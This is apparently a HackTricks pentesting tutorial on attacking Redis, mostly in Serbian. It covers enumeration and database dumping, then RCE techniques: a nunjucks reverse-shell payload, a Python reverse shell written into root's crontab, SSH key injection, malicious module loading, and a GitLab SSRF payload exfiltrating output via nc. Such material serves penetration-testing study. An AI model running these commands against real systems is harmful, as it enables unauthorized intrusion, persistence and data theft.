6379 - Pentesting Redis

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Osnovne informacije

From the docs: Redis je open source (BSD licenciran), u memoriji skladište podataka, korišćeno kao baza podataka, keš i posrednik poruka).

By default Redis uses a plain-text based protocol, but you have to keep in mind that it can also implement ssl/tls. Learn how to run Redis with ssl/tls here.

Podrazumevani port: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

Automatic Enumeration

Neki automatski alati koji mogu pomoći u dobijanju informacija iz redis instance:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

Ručna Enumeracija

Baner

Redis je protokol zasnovan na tekstu, možete jednostavno poslati komandu u soket i vraćene vrednosti će biti čitljive. Takođe zapamtite da Redis može raditi koristeći ssl/tls (ali to je veoma neobično).

U regularnoj Redis instanci možete se jednostavno povezati koristeći nc ili možete koristiti i redis-cli:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

Prva komanda koju možete probati je info. Ona može vratiti izlaz sa informacijama o Redis instanci ili nešto poput sledećeg:

-NOAUTH Authentication required.

U ovom poslednjem slučaju, to znači da vam su potrebne važeće akreditive za pristup Redis instanci.

Redis Autentifikacija

Po defaultu Redis se može pristupiti bez akreditiva. Međutim, može biti konfiguran da podrži samo lozinku, ili korisničko ime + lozinku. Moguće je postaviti lozinku u redis.conf datoteci sa parametrima requirepass ili privremeno dok se usluga ne restartuje povezivanjem na nju i pokretanjem: config set requirepass p@ss$12E45. Takođe, korisničko ime može biti konfigurisano u parametru masteruser unutar redis.conf datoteke.

Ako je konfigurisana samo lozinka, korisničko ime koje se koristi je "default". Takođe, imajte na umu da ne postoji način da se spolja sazna da li je Redis konfiguran sa samo lozinkom ili korisničkim imenom+lozinkom.

U slučajevima poput ovog, biće vam potrebni važeći akreditivi da biste interagovali sa Redis-om, pa možete pokušati da brute-force to. U slučaju da pronađete važeće akreditive, potrebno je da autentifikujete sesiju nakon uspostavljanja veze sa komandom:

AUTH <username> <password>

Validni kredencijali će biti odgovoreni sa: +OK

Autentifikovana enumeracija

Ako Redis server dozvoljava anonimne konekcije ili ako ste dobili validne kredencijale, možete započeti proces enumeracije za servis koristeći sledeće komande:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

Ostale Redis komande se mogu naći ovde i ovde.

Napomena da se Redis komande instance mogu preimenovati ili ukloniti u redis.conf datoteci. Na primer, ova linija će ukloniti komandu FLUSHDB:

rename-command FLUSHDB ""

Više o bezbednoj konfiguraciji Redis usluge ovde: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

Takođe možete pratiti u realnom vremenu Redis komande koje se izvršavaju sa komandom monitor ili dobiti top 25 najsporijih upita sa slowlog get 25

Pronađite više zanimljivih informacija o više Redis komandi ovde: https://lzone.de/cheat-sheet/Redis

Dumping Database

Unutar Redis-a baze podataka su brojevi počevši od 0. Možete saznati da li se bilo koja koristi u izlazu komande info unutar "Keyspace" dela:

Ili možete jednostavno dobiti sve keyspace (baze podataka) sa:

INFO keyspace

U tom primeru se koriste baze podataka 0 i 1. Baza podataka 0 sadrži 4 ključa, a baza podataka 1 sadrži 1. Po defaultu, Redis će koristiti bazu podataka 0. Da biste dumpovali, na primer, bazu podataka 1, potrebno je da uradite:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

U slučaju da dobijete sledeću grešku -WRONGTYPE Operation against a key holding the wrong kind of value dok izvršavate GET <KEY>, to je zato što ključ može biti nešto drugo osim stringa ili celog broja i zahteva poseban operator za prikaz.

Da biste saznali tip ključa, koristite komandu TYPE, primer ispod za listu i hash ključeve.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

Dumpujte bazu podataka sa npm redis-dump ili python redis-utils

Pridružite se HackenProof Discord serveru da komunicirate sa iskusnim hakerima i lovcima na greške!

Hakerski Uvidi Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Vesti o Haku u Realnom Vremenu Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Najnovija Obaveštenja Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platforme

Pridružite nam se na Discord i počnite da sarađujete sa vrhunskim hakerima danas!

Redis RCE

Interaktivna Šel

redis-rogue-server može automatski dobiti interaktivnu šel ili reverznu šel u Redis(<=5.0.5).

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

Info from here. Morate znati putanju foldera veb sajta:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

​Ako dođe do izuzetka pristupa webshell-u, možete isprazniti bazu podataka nakon pravljenja rezervne kopije i pokušati ponovo, zapamtite da vratite bazu podataka.

Template Webshell

Kao u prethodnom odeljku, takođe možete prepisati neku html šablonsku datoteku koja će biti interpretirana od strane šablonskog engine-a i dobiti shell.

Na primer, prateći ovaj izveštaj, možete videti da je napadač ubacio rev shell u html koji interpretira nunjucks šablonski engine:

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

Napomena da nekoliko engine-a za šablone kešira šablone u memoriji, tako da čak i ako ih prepišete, novi neće biti izvršen. U tim slučajevima, ili je programer ostavio automatsko ponovno učitavanje aktivnim ili treba da uradite DoS nad uslugom (i očekujete da će biti automatski ponovo pokrenuta).

SSH

Primer odavde

Molimo vas da budete svesni da se rezultat config get dir može promeniti nakon drugih ručnih eksploatacionih komandi. Preporučuje se da ga pokrenete prvi put odmah nakon prijavljivanja u Redis. U izlazu config get dir možete pronaći home redis korisnika (obično /var/lib/redis ili /home/redis/.ssh), i znajući ovo znate gde možete napisati datoteku authenticated_users za pristup putem ssh sa korisnikom redis. Ako znate home drugog važećeg korisnika gde imate dozvole za pisanje, možete ga takođe zloupotrebiti:

  1. Generišite ssh javni-privatni ključ na vašem računaru: ssh-keygen -t rsa

  2. Napišite javni ključ u datoteku : (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

  3. Uvezite datoteku u redis : cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key

  4. Sačuvajte javni ključ u authorized_keys datoteci na redis serveru:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. Na kraju, možete ssh na redis server sa privatnim ključem : ssh -i id_rsa redis@10.85.0.52

Ova tehnika je automatizovana ovde: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

Poslednji primer je za Ubuntu, za Centos, gornja komanda bi trebala biti: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

Ova metoda se takođe može koristiti za zarađivanje bitcoina :yam

Učitaj Redis Modul

  1. Prateći uputstva sa https://github.com/n0b0dyCN/RedisModules-ExecuteCommand možete kompilirati redis modul za izvršavanje proizvoljnih komandi.

  2. Zatim vam je potreban način da otpremite kompajlirani modul.

  3. Učitajte otpremni modul u vreme izvršavanja sa MODULE LOAD /path/to/mymodule.so.

  4. Prikažite učitane module da proverite da li je ispravno učitan: MODULE LIST.

  5. Izvršite komande:

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. Otpustite modul kad god želite: MODULE UNLOAD mymodule.

LUA sandbox zaobilaženje

Ovde možete videti da Redis koristi komandu EVAL za izvršavanje Lua koda u sandboxu. U povezanom postu možete videti kako to zloupotrebiti koristeći funkciju dofile, ali očigledno to više nije moguće. U svakom slučaju, ako možete zaobići Lua sandbox mogli biste izvršiti proizvoljne komande na sistemu. Takođe, iz istog posta možete videti neke opcije za izazivanje DoS.

Neki CVE-ovi za izlazak iz LUA:

Master-Slave Modul

​Master redis sve operacije automatski sinhronizuje sa slave redis, što znači da možemo smatrati ranjivost redis kao slave redis, povezan sa master redis koji kontrolišemo, zatim možemo uneti komandu u naš vlastiti redis.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF razgovor sa Redis

Ako možete poslati čist tekst zahtev ka Redis, možete komunicirati sa njim jer će Redis čitati red po red zahtev i jednostavno odgovarati greškama na redove koje ne razume:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

Zato, ako pronađete SSRF vuln na veb sajtu i možete kontrolisati neke header-e (možda sa CRLF vuln) ili POST parametre, moći ćete da šaljete proizvoljne komande Redis-u.

Primer: Gitlab SSRF + CRLF do Shell

U Gitlab11.4.7 otkrivene su SSRF ranjivosti i CRLF. SSRF ranjivost je bila u funkcionalnosti uvoza projekta sa URL-a prilikom kreiranja novog projekta i omogućila je pristup proizvoljnim IP-ovima u formi [0:0:0:0:0:ffff:127.0.0.1] (ovo će pristupiti 127.0.0.1), a CRLF vuln je iskorišćen jednostavno dodavanjem %0D%0A karaktera u URL.

Zato je bilo moguće zloupotrebiti ove ranjivosti da komunicirate sa Redis instancom koja upravlja redovima iz gitlab-a i zloupotrebiti te redove da dobijete izvršenje koda. Payload za zloupotrebu Redis reda je:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

I zahtev URL encode koji zloupotrebljava SSRF i CRLF da izvrši whoami i pošalje izlaz putem nc je:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

Iz nekog razloga (kao za autora https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ odakle je ova informacija preuzeta) eksploatacija je radila sa git shemom, a ne sa http shemom.

Pridružite se HackenProof Discord serveru da komunicirate sa iskusnim hakerima i lovcima na greške!

Hacking Insights Uključite se u sadržaj koji istražuje uzbuđenje i izazove hakovanja

Real-Time Hack News Budite u toku sa brzim svetom hakovanja kroz vesti i uvide u realnom vremenu

Latest Announcements Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima platformi

Pridružite nam se na Discord i počnite da sarađujete sa vrhunskim hakerima danas!

Support HackTricks

Last updated